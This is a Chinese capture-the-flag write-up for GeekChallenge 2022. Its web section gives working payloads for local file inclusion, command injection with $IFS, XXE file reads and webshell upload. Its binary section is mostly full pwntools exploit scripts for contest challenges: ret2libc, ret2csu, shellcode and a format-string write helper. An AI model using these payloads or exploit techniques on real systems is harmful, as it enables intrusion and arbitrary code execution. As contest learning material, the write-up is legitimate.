年轻人的第二场CTF。
PWN是真的简单,ret2libc会了随便打。
GeekChallenge 2022 WP
WEB
Can Can Need
本地访问、来源、使用的浏览器、发信人。
X-Forwarded-For
,Referer
,User-Agent
,From
。
不让用XFF可以参考x1r0z师傅的文章叠甲即可。
登录试试
爆破,但套了一层md5。但依旧随便过。burp/py。
但不知道为啥我手写py出锅了最后用的burp。
来发个包
忘删了.jpg
根据注释中的的JavaScript代码构造post请求。
ifffflag的value可能要想一下,考虑到原页面让你输入flag获取flag,value就是flag。
或者发其他值的时候会问你你想来点啥,这不填一发flag试试?
L0veSyc
签到题,去简介里的页面搜SYC就能拿。
justphp (?!)
用is_numeric sleep 绕过
随便搜一搜就能找到一个0.3e07
的payload。
但很奇怪的是我本地php8过不了远程能通,怪欸。
jsfind
去游戏所有js文件看一圈就能拿到一个奇奇怪怪的地址。
进去之后解一层base64,解一层(我也不知道是啥反正丢到浏览器开发者工具控制台就能弹窗)的编码就能在弹窗里拿到flag
ezR_F_I (?!)
直接用LFI做的,RFI做不了……
1
|
file=data://text/plain,<?php system("cat /flag");?>
|
ezrce
有一个没用的变量$match
,考虑变量覆盖,然后和命令拼接。
空格用$IFS$1
绕过,可以搜一下IFS linux
获取详情。
过滤了php,用*
通配符匹配文件即可
1
|
ip=localhost;match=at;c$match$IFS$1may_b3_y0u_can_pr0t3c*
|
Welcome to SQL (!)
sqlmap可以梭 刚学 太菜了 不会手工注入qwq
todo: SQL注入相关
baby_upload
Content-Type多试几发就能试出来允许image/jpeg,似乎没有别的检查。
抓包改Content-Type
即可上传php马,然后发包或者工具上线即可。
ezGame (!)
JWT密钥爆破(提示里给字典了),XXE。
随便搜一搜jwt爆破就有现成的py脚本,改一改就能用。
然后一个XXE,手工发POST包即可,回显位要跟变量位置对上。
比如:下面的ENTITY
和SYSTEM
中间的a
和两个firstname
里面夹着的a
就要一致,firstname
也需要在xml内存在。
1
2
3
4
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY a SYSTEM "file:///flag">]>
<firstname>&a;</firstname>
|
ezrequest (?)
很怪,一模一样的脚本Windows过不了Linux能过
写过API/爬虫的这题ez
1
2
3
4
5
6
7
8
9
10
11
|
import requests
import re
from urllib.parse import urlencode
base_url="http://wf81cf97-64b0-11ed-bc58-165319f5738e.challenge.sycsec.com/"
s=requests.session()
r=s.post(base_url+"?action=index",data={"xh":123})
dat=re.findall("更好摸鱼:([0-9]+)号(.*?)<",r.text)
datp={"num": dat[0][0],"class": dat[0][1]}
r=s.post(base_url+"?action=check",data=datp)
print(r.text)
print(r.headers)
|
PWN
nc不解释,pwn1_1直接给了漏洞函数且没有任何保护直接栈溢出即可。
pwn2_1
这题有可能是我想难了
有execve有binsh但没有rdx的gadget,考虑ret2csu。
然后就很显然了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn2_1")
#gdb.attach(s)
s=remote("gxh191.top",25531)
rdi=0x401353
rsir15=0x401351
execve_plt=0x4010c4
execve_got=0x404030
binsh=0x402008
csu1=0x40134a
csu2=0x401330
p0=b"a"*9+b"\x00"+b"a"*14
p1=flat([csu1,0,0,binsh,0,0,execve_got,csu2])
s.recvuntil(b"\n")
s.send(p0+p1)
s.interactive()
|
pwn2_2
mprotect函数用于设定内存权限,rwx,跟linux的0-7是相同的用法。
具体可见CTFAIO。
应该还有更高级的用法但这题用不上(而且我不会qwq)
1 -> READ
2 -> write
4 -> executable
权限的叠加:对相应权限 相加/逻辑或 即可
既然mprotect给你7了,也让你往上写数据,shellcode梭就完事了。
canary也没开,直接把返回地址指向shellcode即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
fileName="./pwn2_2"
_remote_l=["gxh191.top",25532]
#s=process(fileName)
#gdb.attach(s)
s=remote(_remote_l[0],_remote_l[1])
s.recv()
shellcode=asm(shellcraft.sh())
s.send(shellcode)
s.recv()
s.send(b"a"*(0x10+8)+p64(0x4040a0))
s.interactive()
|
pwn2_3
NX没开、给了栈基地址,考虑直接往栈上写shellcode然后跳回来。
最开始以为最后的8个byte任意写是让我把TLS里的原始canary给改掉,但经师傅提醒之后这种不太行。
考虑劫持最后一个puts的got,让执行puts函数的时候让他执行栈上的shellcode。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn2_3")
elf=ELF("./pwn2_3")
#gdb.attach(s)
s=remote("gxh191.top",25536)
buf=eval(s.recvuntil(b"\n").decode().strip("\n").split(":")[-1])
success("buf: "+hex(buf))
shellcode=asm(shellcraft.sh())
p0=shellcode.ljust(0x110-8,b"\x90")
s.recv()
s.send(p0)
puts_got=elf.got["puts"]
s.recv()
s.sendline(str(puts_got).encode())
s.recv()
s.send(p64(buf))
s.interactive()
|
pwn3_1
静态链接,就末尾一个read
,还tm有canary
?栈上就0x10
的大小。玩nm.jpg
再看看…?main
函数末尾没有__stack_check_fail
?WTF?
暂时先记一笔,以后还会回来细研究这里。
gcc编译选项中堆栈保护有两个级别,完全体当然是给所有的函数后面都插入保护代码,不完全体只为局部变量中含有char数组的函数插入保护代码。
所以具体开没开还是要看对应函数末尾有没有mov fs 0x14 0x28 xor jnz __stack_chk_fail之类的字眼。
反正canary
没了先happy一下。
有malloc
和mprotect
,还有本来就是rw
的heap
段
考虑用mprotect
把一段heap
改成rwx
,然后往上读shellcode
最开始觉得read
的buf
太小不够我一次打穿(gadget
只有单个寄存器,每改一次就是0x10
,就算改用csu
也只能每三个寄存器节省0x08
),后来想想让他分两次不就得了。
第一次改内存权限,然后跳回main
,第二次再往堆上读shellcode
,然后跳过去。
本来还想一遍过是绝对不可能的直到我失手按了一个q和回车……md竟然没跳EOF……
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn3_1")
#gdb.attach(s)
elf=ELF("./pwn3_1")
s=remote("gxh191.top",25535)
pad=b"a"*0x18
rdi=0x401882
rsi=0x40f1ce
rdx=0x40178f
shellcode=asm(shellcraft.sh())
heapAddr=0x4c3000
#heapSize=0x24000
readSym=elf.symbols["read"]
mainSym=elf.symbols["main"]
mprotectSym=elf.symbols["mprotect"]
p0=flat([pad,rdi,heapAddr,rsi,0x1000,rdx,7,mprotectSym,mainSym])
s.recvuntil(b"\n")
s.send(p0)
p1=flat([pad,rdi,0,rsi,heapAddr,rdx,0x1000,readSym,heapAddr])
s.recvuntil(b"\n")
s.send(p1)
s.send(shellcode)
s.interactive()
|
pwn3_2
有system
,但没有binsh
,但有能写的bss
段。
那就自己写binsh
然后依旧简简单单。
记得平栈。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
s=remote("gxh191.top",25534)
rdi=0x4012c3
sys=0x401080
binsh=0x404090
retn=0x401252
s.recvuntil(b"Give me your phone number:\n")
s.send(b"/bin/sh")
p=flat([rdi,binsh,retn,sys])
s.recvuntil(b": \n")
s.send(b"a"*(0x10+8)+p)
s.interactive()
|
pwn3_3
ret2libc
,随便玩。按ctf-wiki
步骤来即可。
注意一下64位系统的传参规则,以及平栈。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./pwn3_3")
s=remote("gxh191.top",25533)
rdi=0x4012f3
puts_plt=elf.plt["puts"]
libc_start_main_got=elf.got["__libc_start_main"]
main=elf.symbols["main"]
p0=flat([b"a"*0x18,rdi,libc_start_main_got,puts_plt,main])
s.recvuntil(b": ")
s.send(p0)
libc_main_addr=int.from_bytes(s.recv(),byteorder="little")
libc_base=libc_main_addr-0x23f90
sys_addr=libc_base+0x52290
binsh=libc_base+0x1b45bd
retn=libc_base+0x522bc
p1=flat([b"a"*0x18,rdi,binsh,retn,sys_addr])
s.recvuntil(b": ")
s.send(p1)
s.interactive()
|
pwn4_1
emm……还是ret2libc
,只不过puts
换成了write
。
传参比较烦,不过乱搞就完事了(OI:乱搞能AC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn4_1")
#gdb.attach(s)
elf=ELF("./pwn4_1")
s=remote("gxh191.top",25537)
pad=b"a"*0x18
rdi=0x4012c3
retn=0x4012c4
csu1=0x4012ba # rbx rbp r12-r15
csu2=0x4012a0 # rsi rdi rdx
libc_start_main_got=elf.got["__libc_start_main"]
write_plt=elf.plt["write"]
write_got=elf.got["write"]
mainSym=elf.symbols["main"]
p0=flat([pad,csu1,0,1,1,libc_start_main_got,8,write_got,csu2,0,0,0,0,0,0,0,mainSym])
s.recvuntil(b"\n")
s.send(p0)
libc_base=int.from_bytes(s.recv(8),byteorder="little")-0x23f90
success(hex(libc_base))
binsh=0x1b45bd+libc_base
system=0x52290+libc_base
p1=flat([pad,rdi,binsh,retn,system])
s.recvuntil(b"\n")
s.send(p1)
s.interactive()
|
pwn4_2
emm……
还是ret2libc
和ret2csu
寄存器一遍布置不下那就多来几遍
patch一时爽,一直patch一直爽(逃
后来想想也许把csu2那个call地址改成ret似乎会更优雅?也许之后可以试试(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn4_2")
#gdb.attach(s)
elf=ELF("./pwn4_2")
libc=ELF("./libc.so.6")
s=remote("gxh191.top",25538)
pad=b"a"*0x18
rdi=0x401253
rbp=0x40115d
csu1=0x40124a # rbx rbp r12-r15
csu2=0x401230 # r12-r14 -> rsi rdi rdx, ret2 [r15+8*rbx]
r12__r15=0x40124c
mainSym=elf.symbols["main"]
write_got=elf.got["write"]
libc_start_main_got=elf.got["__libc_start_main"]
p0=flat([pad,csu1,0,1,1,libc_start_main_got,6,write_got,mainSym])
s.recvuntil(b"\n")
s.send(p0)
p1=flat([pad,rbp,1,csu2,0,0,0,0,0,0,0,mainSym])
s.recvuntil(b"\n")
s.send(p1)
libc_base=int.from_bytes(s.recv(6),byteorder="little")-0x23f90
success(hex(libc_base))
execve=libc_base+0xe3afe
p2=flat([pad,r12__r15,0,0,0,0,execve])
s.recvuntil(b"\n")
s.send(p2)
s.interactive()
|
pwn4_3
人生中第一个自己做出来且能完全理解的fmt
。
给了栈地址,直接debug看rsp和rbp间偏移+8即可。
exp实现了一个任意地址写,照着ctf-wiki上的fmt32
稍微改了改就有了里面的fmt64
。
把格式化串放到了前面,地址放到了后面,可以自动8byte对齐,可以自动正确的的offset。
剩下的就是基本的ret2libc
了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
from pwn import *
import time
context(os="linux",arch="amd64",log_level="debug")
elf_name="./never_get_P"
libc_name="./libc-2.31.so"
debug=False
pwn_remote=True
remote_addr="gxh191.top"
remote_port=25539
if pwn_remote:
s=remote(remote_addr,remote_port)
else:
s=process(elf_name)
elf=ELF(elf_name)
libc=ELF(libc_name)
if debug: gdb.attach(s)
def fmtstring(prev,word,index):
if word==prev:
result=0
fmtstr=""
elif word==0:
result=256-prev
fmtstr=f"%{result}c"
elif prev<word:
result=word-prev
fmtstr=f"%{result}c"
elif prev>word:
result=256-prev+word
fmtstr=f"%{result}c"
fmtstr+=f"%{index}$hhn"
return [fmtstr.encode(),result]
def fmt64(offset,original_offset,addr,content,inner=False):
payloada=b""
prev=0
for i in range(8):
retl=fmtstring(prev,(content>>i*8)&0xff,offset+i)
payloada+=retl[0]
prev+=retl[1]
prev&=0xff
while len(payloada)%8!=0:
payloada+=b"a"
if offset==original_offset+len(payloada)/8 and inner:
return payloada
payload=fmt64(offset+1,original_offset,addr,content,True)
if inner:
return payload
for i in range(8):
if context.arch=="amd64":
payload+=p64(addr+i)
elif context.arch=="i386":
payload+=p64(addr+i)
return payload
def fmtSend(of,oriof,sbptr,pl):
for e in pl:
s.send(fmt64(of,oriof,sbptr,e))
s.recv()
if context.arch=="amd64":
sbptr+=8
elif context.arch=="i386":
sbptr+=4
if __name__=="__main__":
stack_base=eval(s.recvline(keepends=False).split(b":")[-1].decode())
success("Stack base: "+hex(stack_base))
s.recv()
rdi=0x4014d3
puts_plt=elf.plt["puts"]
lsm_got=elf.got["__libc_start_main"]
main_sym=elf.symbols["main"]
p0=[rdi,lsm_got,puts_plt,main_sym]
fmtSend(6,6,stack_base+0x438,p0)
s.send(b"Y")
s.recvuntil(b"Y")
libc_base=int.from_bytes(s.recvline(keepends=False),byteorder="little")-libc.symbols["__libc_start_main"]
success("libc base: "+hex(libc_base))
execve=libc_base+0xe6aee
r12__r15=0x4014cc
stack_base=eval(s.recvline(keepends=False).split(b":")[-1].decode())
success("Stack base: "+hex(stack_base))
success(s.recv())
pf=[r12__r15,0,0,0,0,execve]
fmtSend(6,6,stack_base+0x438,pf)
s.send(b"Y")
s.recvuntil(b"Y")
s.interactive()
|
pwn5_1
感觉非预期了
gdb随便调一调就能知道canary
在%43
然后第一个ret(也就是rbp+8
)在%45
%p
把第一个ret
漏出来,%s
把canary
漏出来
然后在第二步基本操作ret2libc
,直接溢出就完事了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
from pwn import *
import time
context(os="linux",arch="amd64",log_level="debug")
elf_name="./pwn5_1"
libc_name="./libc.so.6"
debug=False
pwn_remote=True
remote_addr="gxh191.top"
remote_port=25530
if pwn_remote:
s=remote(remote_addr,remote_port)
else:
s=process(elf_name)
elf=ELF(elf_name)
libc=ELF(libc_name)
if debug: gdb.attach(s)
def fmtstring(prev,word,index):
if word==prev:
result=0
fmtstr=""
elif word==0:
result=256-prev
fmtstr=f"%{result}c"
elif prev<word:
result=word-prev
fmtstr=f"%{result}c"
elif prev>word:
result=256-prev+word
fmtstr=f"%{result}c"
fmtstr+=f"%{index}$hhn"
return [fmtstr.encode(),result]
def fmt64(offset,original_offset,addr,content,inner=False):
payloada=b""
prev=0
for i in range(8):
retl=fmtstring(prev,(content>>i*8)&0xff,offset+i)
payloada+=retl[0]
prev+=retl[1]
prev&=0xff
while len(payloada)%8!=0:
payloada+=b"a"
if offset==original_offset+len(payloada)/8 and inner:
return payloada
payload=fmt64(offset+1,original_offset,addr,content,True)
if inner:
return payload
for i in range(8):
if context.arch=="amd64":
payload+=p64(addr+i)
elif context.arch=="i386":
payload+=p64(addr+i)
return payload
def fmtSend(of,oriof,sbptr,pl):
for e in pl:
s.send(fmt64(of,oriof,sbptr,e))
s.recv()
if context.arch=="amd64":
sbptr+=8
elif context.arch=="i386":
sbptr+=4
if __name__=="__main__":
s.recvuntil(b"\n")
libc_arg=b"%45$p:%43$p:"
s.send(libc_arg)
libc_base=eval(s.recvuntil(b":").decode().strip(":"))-0x24083
success("libc base: "+hex(libc_base))
canary=eval(s.recvuntil(b":").decode().strip(":"))
success("canary: "+hex(canary))
s.recvuntil(b"\n")
pad=b"a"*0x108+p64(canary)+b"b"*8
execve=libc_base+0xe3afe
r12__r15=libc_base+0x23b63
p0=flat([pad,r12__r15,0,0,0,0,execve])
s.send(p0)
s.recv()
s.interactive()
|
后记
后来看WP好像有题没放出来。
虽然AK了但是瑟瑟发抖。
看看明年?